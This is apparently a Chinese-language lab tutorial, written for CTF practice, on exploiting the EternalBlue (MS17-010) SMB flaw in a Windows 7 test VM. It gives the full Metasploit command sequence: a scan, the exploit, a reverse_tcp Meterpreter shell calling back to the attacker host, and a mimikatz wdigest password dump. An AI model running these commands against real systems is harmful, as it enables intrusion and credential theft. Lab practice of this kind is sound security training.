文章目录
漏洞原理
- 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
实验环境
Windows7 SP1
Kali Linux最新版
Vmware 15
(靶机IP:195.168.145.129)
(攻击机IP:192.168.145.130)
PS:具体怎么安装百度有教程请自行搜索一下qaq~
信息收集
用MeteSploit中的永恒之蓝扫描模块,进行扫描查询漏洞是否存在
打开一个新的终端输入
msfconsole
然后等待MeteSploit启动完成
Search MS17_010
在这里我们输入
use auxiliary/scanner/smb/smb_ms17_010
然后设置RHOST(目标IP)
set RHOST 192.168.145.129
(辅助模块)auxiliary 的运行命令为run
(漏洞模块)exploit的运行命令为exploit
发现靶机存在漏洞接下来使用漏洞模块进行渗透测试
use exploit/windows/smb/ms17_010_eternalblue
这个模块需要设置的一些参数,具体看操作
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.145.129
set LHOST 192.168.145.130
set LPORT 5201
要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload
端口随意只要不被占用就好
设置完成之后exploit执行模块
如果不设置payload会变成这样
直接进入操作系统而没有meterpreter操作界面
试试使用meterpreter来进行一些操作
获取个用户密码试试?竞赛里有时候不给密码你必须用漏洞进入系统弱口令爆破就算了你爆破完竞赛时间也到了
load mimikatz
wdigest
然后密码就出来就可以进行骚操作了
第一次没有设置密码我跑去设置了一下
还有一些骚操作请自行去玩耍,如有什么错误请联系博主进行修正
有些内容来自转载如果侵权请联系删除
具体实验环境下载地址:
链接:https://pan.baidu.com/s/1BBbPo5YPpiWe2y47OyA-tA
提取码:zr2w